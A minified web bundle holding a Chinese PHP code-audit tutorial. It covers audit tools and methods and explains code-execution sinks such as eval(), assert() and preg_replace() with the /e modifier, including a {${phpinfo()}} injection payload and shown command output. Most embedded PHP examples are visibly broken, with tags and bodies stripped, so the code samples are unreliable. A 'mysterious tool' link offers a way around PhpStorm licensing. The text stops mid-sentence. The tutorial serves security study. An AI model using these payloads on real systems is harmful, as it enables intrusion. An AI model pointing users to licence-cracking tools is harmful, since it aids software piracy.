n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",h6:"h6",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:48:43"})]})})]}),"\n",(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"php\u4ee3\u7801\u5ba1\u8ba1",children:"PHP\u4ee3\u7801\u5ba1\u8ba1"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5e8f\u8a00",children:"\u5e8f\u8a00"}),"\n",(0,r.jsx)(n.p,{children:"PHP\u4ee3\u7801\u5ba1\u8ba1\u662f\u6307\u5bf9PHP\u7a0b\u5e8f\u6e90\u4ee3\u7801\u8fdb\u884c\u7cfb\u7edf\u6027\u7684\u68c0\u67e5,\u5b83\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u53d1\u73b0PHP\u7a0b\u5e8f\u5b58\u5728\u7684\u4e00\u4e9b\u6f0f\u6d1e\u6216\u8005\u903b\u8f91\u95ee\u9898,\u907f\u514d\u7a0b\u5e8f\u7f3a\u9677\u88ab\u975e\u6cd5\u5229\u7528\u4ece\u800c\u5e26\u6765\u4e0d\u5fc5\u8981\u7684\u5b89\u5168\u98ce\u9669."}),"\n",(0,r.jsx)(n.h2,{id:"\u5de5\u5177\u51c6\u5907",children:"\u5de5\u5177\u51c6\u5907"}),"\n",(0,r.jsx)(n.h3,{id:"phpstorm",children:"PHPStorm"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.a,{href:"https://www.jetbrains.com/phpstorm/promo/?source=google&medium=cpc&campaign=APAC_en_ASIA_PhpStorm_Branded&term=phpstorm&content=604024580598&gad_source=1&gclid=CjwKCAjw3P-2BhAEEiwA3yPhwA6dzuksQ-yrsGvjWnSHA7FZl5cFJK_Y5szv4KhVm8XmThiwRB9vvxoC_o4QAvD_BwE",children:"PHPStorm"})," \u662f JetBrains \u516c\u53f8\u5f00\u53d1\u7684\u4e00\u6b3e\u5546\u4e1a\u7684PHP\u96c6\u6210\u5f00\u53d1\u5de5\u5177\uff0c\u65e8\u5728\u63d0\u9ad8\u7528\u6237\u6548\u7387\uff0c\u53ef\u6df1\u523b\u7406\u89e3\u7528\u6237\u7684\u7f16\u7801\uff0c\u63d0\u4f9b\u667a\u80fd\u4ee3\u7801\u8865\u5168\uff0c\u5feb\u901f\u5bfc\u822a\u4ee5\u53ca\u5373\u65f6\u9519\u8bef\u68c0\u67e5"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"\u4f18\u70b9"}),": \u597d\u7528"]}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"\u7f3a\u70b9"}),": \u8981\u94b1 ",(0,r.jsx)(n.a,{href:"https://3.jetbra.in/",children:"\u795e\u79d8\u5de5\u5177"})]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"vscode",children:"VScode"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.a,{href:"https://code.visualstudio.com/",children:"Visual Studio Code"})," \u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u4f46\u529f\u80fd\u5f3a\u5927\u7684\u6e90\u4ee3\u7801\u7f16\u8f91\u5668\uff0c\u53ef\u5728\u684c\u9762\u4e0a\u8fd0\u884c\uff0c\u9002\u7528\u4e8e Windows\u3001macOS \u548c Linux\u3002\u5b83\u5185\u7f6e\u4e86\u5bf9 JavaScript\u3001TypeScript \u548c Node.js \u7684\u652f\u6301\uff0c\u5e76\u5177\u6709\u9002\u7528\u4e8e\u5176\u4ed6\u8bed\u8a00\u548c\u8fd0\u884c\u65f6\uff08\u5982 C++\u3001C#\u3001Java\u3001Python\u3001PHP\u3001Go\u3001.NET\uff09\u7684\u4e30\u5bcc\u6269\u5c55\u751f\u6001\u7cfb\u7edf"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"**\u4f18\u70b9\uff1a**\u514d\u8d39 \u9002\u914d\u5ea6\u9ad8"}),"\n",(0,r.jsx)(n.li,{children:"**\u7f3a\u70b9\uff1a**\u73af\u5883\u914d\u7f6e\u9ebb\u70e6"}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5ba1\u8ba1\u601d\u8def",children:"\u5ba1\u8ba1\u601d\u8def"}),"\n",(0,r.jsx)(n.h3,{id:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf\u53cd\u5411\u5ba1\u8ba1",children:"\u654f\u611f\u51fd\u6570\u65b9\u6cd5\u56de\u6eaf(\u53cd\u5411\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u627e\u9879\u76ee\u4e2d\u7684\u654f\u611f\u51fd\u6570\u65b9\u6cd5 \u56de\u6eaf\u4f20\u5165\u7684\u53c2\u6570 \u5224\u65ad\u7528\u6237\u662f\u5426\u53ef\u63a7 \u662f\u5426\u5f97\u5230\u6709\u6548\u7684\u8fc7\u6ee4"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.strong,{children:"\u7f3a\u70b9"}),":\u5f88\u96be\u53d1\u73b0\u8d8a\u6743\u7b49\u903b\u8f91\u6f0f\u6d1e"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a\u6b63\u5411\u5ba1\u8ba1",children:"\u7528\u6237\u53ef\u63a7\u53c2\u6570\u8ffd\u8e2a(\u6b63\u5411\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u627e\u9879\u76ee\u4e2d\u7684\u7528\u6237\u8f93\u5165 \u8ffd\u8e2a\u7528\u6237\u8f93\u5165 \u5224\u65ad\u662f\u5426\u5f97\u5230\u6709\u6548\u7684\u8fc7\u6ee4/\u8c03\u7528\u654f\u611f\u51fd\u6570/\u5b58\u5728\u903b\u8f91\u95ee\u9898"}),"\n",(0,r.jsx)(n.h3,{id:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790\u529f\u80fd\u5ba1\u8ba1",children:"\u5173\u952e\u4e1a\u52a1\u529f\u80fd\u5206\u6790(\u529f\u80fd\u5ba1\u8ba1)"}),"\n",(0,r.jsx)(n.p,{children:"\u4e13\u95e8\u5ba1\u8ba1\u6613\u51fa\u73b0\u6f0f\u6d1e\u7684\u5173\u952e\u529f\u80fd\u70b9\uff0c\u5982 \u5934\u50cf\u4e0a\u4f20 \u7cfb\u7edf\u767b\u9646 \u6587\u4ef6\u4e0b\u8f7d \u7b49\u529f\u80fd"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u4f18\u70b9:**\u53ef\u4ee5\u5feb\u901f\u5b8c\u6210\u5ba1\u8ba1 \u51cf\u5c11\u5ba1\u8ba1\u9762 \u53ef\u53d1\u73b0\u8d8a\u6743\u7b49\u903b\u8f91\u6f0f\u6d1e"}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u7f3a\u70b9:**\u5ba1\u8ba1\u4e0d\u5b8c\u5168\uff0c\u96be\u4ee5\u53d1\u73b0\u6846\u67b6\u6f0f\u6d1e"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801",children:"\u5b8c\u5168\u5ba1\u8ba1\u6e90\u4ee3\u7801"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u4f18\u70b9:**\u5b8c\u5168\u8986\u76d6\u6e90\u4ee3\u7801 \u53ef\u53d1\u73b0\u4e00\u4e9b\u7279\u6b8a\u6761\u4ef6\u7684\u6f0f\u6d1e"}),"\n"]}),"\n",(0,r.jsxs)(n.li,{children:["\n",(0,r.jsx)(n.p,{children:"**\u7f3a\u70b9:**\u8017\u65f6\u957f \u5bb9\u6613\u9057\u6f0f"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(n.h2,{id:"\u57fa\u7840\u77e5\u8bc6",children:"\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,r.jsx)(n.h3,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsx)(n.p,{children:"\u672c\u6587\u7ae0\u4e3b\u8981\u662fPHP\u4ee3\u7801\u5ba1\u8ba1\u7684\u4e00\u4e9b\u57fa\u7840\u77e5\u8bc6\uff0c\u5305\u62ec\u51fd\u6570\u7684\u7528\u6cd5\uff0c\u6f0f\u6d1e\u70b9\uff0c\u504f\u5411\u57fa\u7840\u90e8\u5206\uff0c\u4e2a\u4eba\u80fd\u529b\u6709\u9650\uff0c\u90e8\u5206\u53ef\u80fd\u4f1a\u51fa\u73b0\u9519\u8bef\u6216\u8005\u9057\u6f0f\uff0c\u8bfb\u8005\u53ef\u81ea\u884c\u8865\u5145\u3002"}),"\n",(0,r.jsx)(n.h3,{id:"\u4ee3\u7801\u6267\u884c",children:"\u4ee3\u7801\u6267\u884c"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u6267\u884c\u662f\u4ee3\u7801\u5ba1\u8ba1\u5f53\u4e2d\u8f83\u4e3a\u4e25\u91cd\u7684\u6f0f\u6d1e\uff0c\u4e3b\u8981\u662f\u4e00\u4e9b\u547d\u4ee4\u6267\u884c\u51fd\u6570\u7684\u4e0d\u9002\u5f53\u4f7f\u7528\u3002\u90a3\u4e48\uff0c\u5e38\u89c1\u7684\u80fd\u591f\u89e6\u53d1\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u51fd\u6570\u6709\u54ea\u4e9b\u5462\uff1f"}),"\n",(0,r.jsx)(n.h4,{id:"eval",children:"eval()"}),"\n",(0,r.jsxs)(n.p,{children:["\u60f3\u5fc5\u5927\u5bb6\u5bf9",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5e94\u8be5\u5e76\u4e0d\u964c\u751f\uff0c\u7b80\u800c\u8a00\u4e4b",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u662f\u5c06\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u5f53\u4f5c ",(0,r.jsx)(n.code,{children:"PHP"})," \u4ee3\u7801\u6765\u8fdb\u884c\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"eval( string $code) : mixed\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"eval()"})," \u8fd4\u56de ",(0,r.jsx)(n.code,{children:"NULL"}),"\uff0c\u9664\u975e\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d return\u4e86\u4e00\u4e2a\u503c\uff0c\u51fd\u6570\u8fd4\u56de\u4f20\u9012\u7ed9 return\u7684\u503c\u3002PHP7\u5f00\u59cb\uff0c\u6267\u884c\u7684\u4ee3\u7801\u91cc\u5982\u679c\u6709\u4e00\u4e2aparse error\uff0c",(0,r.jsx)(n.code,{children:"eval()"})," \u4f1a\u629b\u51fa ParseError \u5f02\u5e38\u3002\u5728 PHP 7 \u4e4b\u524d\uff0c\u5982\u679c\u5728\u6267\u884c\u7684\u4ee3\u7801\u4e2d\u6709 parse error\uff0c",(0,r.jsx)(n.code,{children:"eval()"})," \u8fd4\u56de",(0,r.jsx)(n.code,{children:"FALSE"}),"\uff0c\u4e4b\u540e\u7684\u4ee3\u7801\u5c06\u6b63\u5e38\u6267\u884c\u3002\u65e0\u6cd5\u4f7f\u7528",(0,r.jsx)(n.code,{children:"set_error_handler()"}),"\u6355\u83b7 ",(0,r.jsx)(n.code,{children:"eval()"})," \u4e2d\u7684\u89e3\u6790\u9519\u8bef\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u5728\u5229\u7528",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u7684\u65f6\u5019\uff0c\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u4e0d\u662f\u6b63\u5e38\u7684\u4ee3\u7801\u683c\u5f0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\u3002\u6240\u4ee5PHP7\u548cPHP5\u5728\u8fd9\u90e8\u5206\u6700\u5927\u7684\u4e0d\u540c\u662f\u4ec0\u4e48\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0cPHP5\u5728\u4ee3\u7801\u9519\u8bef\u683c\u5f0f\u9519\u8bef\u4e4b\u540e\u4ecd\u4f1a\u6267\u884c\uff0c\u800cPHP7\u5728\u4ee3\u7801\u53d1\u751f\u9519\u8bef\u4e4b\u540e\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\uff0c\u800c\u4e0d\u6267\u884c\u4e4b\u540e\u7684\u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>This is a PHP```\n\n\n\u90a3\u4e48\u5982\u679c\u6211\u8981\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u5462\uff1f\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u7528\u5230PHP\u4e2d\u7684`system`\u51fd\u6570\u3002\n\n```php\n\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u5230\u6b64\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7ed3\u5408\u5176\u4ed6\u59ff\u52bf\u901a\u8fc7\u8fd9\u4e2a\u51fd\u6570\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"assert",children:"assert()"}),"\n",(0,r.jsx)(n.p,{children:"PHP"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"assert( mixed $assertion[, string $description] ) : bool\n"})}),"\n",(0,r.jsx)(n.p,{children:"PHP"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"assert( mixed $assertion[, Throwable $exception] ) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"assertion"})}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u65ad\u8a00\u3002\u5728PHP 5 \u4e2d\uff0c\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884c\u7684\u5b57\u7b26\u4e32\u6216\u8005\u7528\u4e8e\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u3002\u5728PHP 7 \u4e2d\uff0c\u53ef\u4ee5\u662f\u4e00\u4e2a\u8fd4\u56de\u4efb\u4f55\u503c\u7684\u8868\u8fbe\u5f0f\uff0c\u5b83\u5c06\u88ab\u6267\u884c\u7ed3\u679c\u7528\u4e8e\u5224\u65ad\u65ad\u8a00\u662f\u5426\u6210\u529f\u3002"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"description"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c",(0,r.jsx)(n.code,{children:"assertion"}),"\u5931\u8d25\u4e86\uff0c\u9009\u9879",(0,r.jsx)(n.code,{children:"description"}),"\u5c06\u4f1a\u5305\u542b\u5728\u5931\u8d25\u4fe1\u606f\u91cc\u3002"]}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.strong,{children:"exception"})}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5728PHP 7\u4e2d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u4e00\u4e2a",(0,r.jsx)(n.code,{children:"Throwable"}),"\u5bf9\u8c61\uff0c\u800c\u4e0d\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u5982\u679c\u65ad\u8a00\u5931\u8d25\u4e14\u542f\u7528\u4e86",(0,r.jsx)(n.code,{children:"assert.exception"}),"\uff0c\u90a3\u4e48\u8be5\u5bf9\u8c61\u5c06\u88ab\u629b\u51fa"]}),"\n",(0,r.jsx)(n.h5,{id:"assert\u914d\u7f6e",children:"assert()\u914d\u7f6e"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u914d\u7f6e\u9879"}),(0,r.jsx)(n.th,{children:"\u9ed8\u8ba4\u503c"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u53ef\u9009\u503c"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"zend.assertions"}),(0,r.jsx)(n.td,{children:"1"}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"1 - \u751f\u6210\u548c\u6267\u884c\u4ee3\u7801(\u5f00\u53d1\u6a21\u5f0f) 0 - \u751f\u6210\u4ee3\u7801\uff0c\u4f46\u5728\u6267\u884c\u65f6\u8df3\u8fc7\u5b83 -1 - \u4e0d\u751f\u6210\u4ee3\u7801(\u751f\u4ea7\u73af\u5883)"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"assert.exception"}),(0,r.jsx)(n.td,{children:"0"}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"1 - \u65ad\u8a00\u5931\u8d25\u65f6\u629b\u51fa\uff0c\u53ef\u4ee5\u629b\u51fa\u5f02\u5e38\u5bf9\u8c61\uff0c\u5982\u679c\u6ca1\u6709\u63d0\u4f9b\u5f02\u5e38\uff0c\u5219\u629b\u51faAssertionError\u5bf9\u8c61\u5b9e\u4f8b 0 - \u4f7f\u7528\u6216\u751f\u6210Throwable\uff0c\u4ec5\u4ec5\u662f\u57fa\u4e8e\u5bf9\u8c61\u751f\u6210\u7684\u8b66\u544a\u800c\u4e0d\u662f\u629b\u51fa\u5bf9\u8c61(\u4e0ePHP 5 \u517c\u5bb9)"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\u641e\u4e86\u8fd9\u4e48\u591a\uff0c",(0,r.jsx)(n.code,{children:"assert()"}),"\u51fd\u6570\u5230\u5e95\u662f\u5e72\u4ec0\u4e48\u7684\u5462\uff1f\u7528\u6211\u7684\u7406\u89e3\u6765\u8bf4\uff0c",(0,r.jsx)(n.code,{children:"assert()"}),"\u51fd\u6570\u662f\u5904\u7406\u5f02\u5e38\u7684\u4e00\u79cd\u5f62\u5f0f\uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2aif\u6761\u4ef6\u8bed\u53e5\u7684\u5b8f\u5b9a\u4e49\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u4e2aPHP 7 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"getMessage();\n }\n?>\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\u56e0\u4e3a1\u4e0d\u7b49\u4e8e2\uff0c\u6240\u4ee5\u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u5c31\u662f\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7528\u8fd9\u4e2a\u5bf9\u8c61\u6765\u629b\u51fa\u5f02\u5e38\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u4e2aphp 5 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): \u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38 failed in D:\\phpstudy_pro\\WWW\\1.php on line \n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): Assertion failed in D:\\phpstudy_pro\\WWW\\1.php on line ```\n\n\n\u6240\u4ee5PHP 7 \u76f8\u8f83\u4e8ePHP 5 \u5c31\u662f\u591a\u4e86\u4e2a\u7528Throwable\u6765\u53d1\u51fa\u8b66\u544a\u3002\n\n\u90a3\u4e48\uff0c\u5982\u679c\u524d\u9762\u65ad\u8a00\u6210\u529f\u5462\uff1f\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462?\u6765\u4e2a\u6700\u7b80\u5355\uff0c\u4e5f\u662f\u6211\u4eec\u6bd4\u8f83\u559c\u6b22\u7684\u793a\u4f8b\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5728PHP 5 \u548cPHP 7 \u4e2d\u90fd\u4f1a\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u867d\u7136PHP 7 \u4e2d\u5bf9\u65ad\u8a00\u51fd\u6570\u7684\u53c2\u6570\u7a0d\u4f5c\u4e86\u6539\u53d8\uff0c\u4f46\u662f\u4e3a\u4e86\u517c\u5bb9\u4f4e\u7248\u672c\uff0c\u6240\u4ee5\u8fd8\u662f\u4f1a\u76f4\u63a5\u8fd4\u56de\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"preg_replace",children:"preg_replace()"}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u51fd\u6570\u540d\u5b57\u6211\u4eec\u4e5f\u5e94\u8be5\u80fd\u591f\u4e86\u89e3\u51fd\u6570\u5927\u6982\u4f5c\u7528\uff0c\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u641c\u7d22\u548c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u641c\u7d22 subject \u4e2d\u5339\u914d pattern \u7684\u90e8\u5206\uff0c \u4ee5 replacement \u8fdb\u884c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$pattern: \u8981\u641c\u7d22\u7684\u6a21\u5f0f\uff0c\u53ef\u4ee5\u662f\u5b57\u7b26\u4e32\u6216\u4e00\u4e2a\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$replacement: \u7528\u4e8e\u66ff\u6362\u7684\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$subject: \u8981\u641c\u7d22\u66ff\u6362\u7684\u76ee\u6807\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$limit: \u53ef\u9009\uff0c\u5bf9\u4e8e\u6bcf\u4e2a\u6a21\u5f0f\u7528\u4e8e\u6bcf\u4e2a subject \u5b57\u7b26\u4e32\u7684\u6700\u5927\u53ef\u66ff\u6362\u6b21\u6570\u3002 \u9ed8\u8ba4\u662f-1\uff08\u65e0\u9650\u5236\uff09\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$count: \u53ef\u9009\uff0c\u4e3a\u66ff\u6362\u6267\u884c\u7684\u6b21\u6570\u3002"}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u8fd9\u4e2a\u51fd\u6570\u8ddf\u6211\u4eec\u547d\u4ee4\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u4ec5\u4ec5\u770b\u4e0a\u9762\u7684\u5b98\u65b9\u89e3\u91ca\u4f3c\u4e4e\u770b\u4e0d\u51fa\u4ec0\u4e48\uff0c\u4f46\u662f",(0,r.jsx)(n.code,{children:"preg_repace()"}),"\u6709\u4e00\u4e2a\u6a21\u5f0f\u662f/e\u6a21\u5f0f\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u5c31\u4f1a\u53d1\u751f\u4ee3\u7801\u6267\u884c\u7684\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u770b\u4e00\u4e2a\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" $value){\n echo Ameng($regex, $value) . \"\\n\";\n }\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u6211\u4eec\u9700\u8981\u6ce8\u610f\u7684\u5c31\u662f\\1,\\1\u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u662f\u53cd\u5411\u5f15\u7528\u7684\u610f\u601d\uff0c\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\u6307\u5b9a\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u9488\u5bf9\u4e0a\u9762\u6848\u4f8b\uff0c\u6211\u4eec\u6765\u4e2apayload\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"payload=/?.*={${phpinfo()}}\n\u6240\u4ee5\u8bed\u53e5\u5c31\u6210\u4e86\u8fd9\u6837\npreg_replace('/(.*)/ei', 'strtolower(\"\\\\1\")', {${phpinfo()}});\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u76f4\u63a5\u628a\u8fd9\u6bb5\u4ee3\u7801\u653e\u5230\u9875\u9762"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8bbf\u95ee\u9875\u9762\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648340.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u6210\u529f\u6267\u884c\u4e86\u4ee3\u7801\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u4f46\u662f\u8fd9\u91cc\u6211\u662f\u76f4\u63a5\u5c06\u8fd9\u6bb5\u4ee3\u7801\u5199\u5230\u4e86\u6587\u4ef6\u91cc\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u662f\u901a\u8fc7GET\u4f20\u53c2\u5f97\u5230\u53c2\u6570\uff0c\u8fd9\u91cc\u9488\u5bf9\u4e0a\u9762\u90a3\u4e2a\u6848\u4f8b\u5c31\u9700\u8981\u6ce8\u610f\u4e00\u70b9\uff0c\u5728\u901a\u8fc7GET\u4f20\u53c2\u65f6\uff0c",(0,r.jsx)(n.code,{children:".*"}),"\u4f1a\u88ab\u66ff\u6362\u4e3a",(0,r.jsx)(n.code,{children:"_*"}),"\u5bfc\u81f4\u6211\u4eec\u8981\u7684\u6b63\u5219\u88ab\u66ff\u6362\u4e86\uff0c\u8fbe\u4e0d\u5230\u6211\u4eec\u7684\u6548\u679c\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u7528\u4f7f\u7528\u4e00\u4e9b\u5176\u4ed6\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u8fbe\u523